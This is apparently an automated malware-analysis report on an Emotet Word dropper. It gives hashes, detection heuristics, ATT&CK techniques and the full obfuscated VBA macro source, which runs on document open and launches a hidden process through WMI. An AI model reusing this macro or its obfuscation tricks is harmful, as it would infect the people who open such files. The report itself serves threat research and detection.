Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2cfcb92ecf5716a1…

MALICIOUS

Office (OLE)

173.9 KB Created: 2020-07-21 17:01:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 1897dfb05548d5271fc95dec97099377 SHA-1: 4529e1c385219b0270057e8203f152ba3dfe866c SHA-256: 2cfcb92ecf5716a13845ffcbf83a3c290e5e651c8247a0e9c7fb91f7d5cfe348
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that is automatically executed upon opening the document. This macro utilizes CreateObject to instantiate an object and then proceeds to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.EmotetIOS-9402070-0' strongly suggests the Emotet family, known for its dropper capabilities.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9483 bytes
SHA-256: 489841377b050e72602451927ce1457d45bd4a636781a30de6a537c628b4e5a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "heuchkeoxwood"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
nuadgeuqulufyiap
End Sub


Attribute VB_Name = "zukchejraeyboixbiksiol"
Attribute VB_Base = "0{EEDB2B7F-C719-45B1-99B4-FEEB8441EAA7}{48E9A79C-4FA3-4833-9BF7-2997853EE5C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "geafthoach"
Function nuadgeuqulufyiap()
joevyeez = Chr(zukchejraeyboixbiksiol.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
nafxiawsaech = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + joevyeez + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + zukchejraeyboixbiksiol.luahnaith + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
zozhaercheawtiaj = moedketh(nafxiawsaech)
Dim qVcuRkJreP As Object
Set buathduuk = CreateObject(zozhaercheawtiaj)
Dim lWiD As Byte
soiychieschuamthaimraet = zukchejraeyboixbiksiol.raog.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
leuyquoekdakmadrour = zozhaercheawtiaj + joevyeez + zukchejraeyboixbiksiol.queimnuf.ControlTipText + soiychieschuamthaimraet
Dim kfTvg As Boolean
coaxlegroocvauyleih = leuyquoekdakmadrour + zukchejraeyboixbiksiol.luahnaith
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set woepnut = jeicneinpualzeajmiaryoem(coaxlegroocvauyleih)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, buathduuk. _
Create(pouv, kecgiarwiasxaigchouhdoy, woepnut))
Dim BZIhfU As Boolean
End Function
Function jeicneinpualzeajmiaryoem(ritviatxes)
Set jeicneinpualzeajmiaryoem = CreateObject(ritviatxes)
jeicneinpualzeajmiaryoem _
. _
showwindow = (zuumsuuzdeob + noilbouhchopguad) + (leuz + giekxiogguththeidleoqu)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function moedketh(luxwaepcarnoeycuuwquiaz)
neinguufcoetvief = luxwaepcarnoeycuuwquiaz
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
koajhiosvuf = Split(neinguufcoetvief, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
laerguas = posx + Join(koajhiosvuf, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
moedketh = laerguas
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function pouv()
io = zukchejraeyboixbiksiol.hujyeiknelyaol.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
pouv = moedketh(io)
End Function


' Processing file: /opt/analyzer/scan_staging/309233b0e3c2405099bc11638cad7170.bin
' ===============================================================================
' Module streams:
' Macros/VBA/heuchkeoxwood - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub heuchkeoxwood())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/zukchejraeyboixbiksiol - 1205 bytes
' Macros/VBA/geafthoach - 5310 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld zukchejraeyboixbiksiol 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0006 
' 
... (truncated)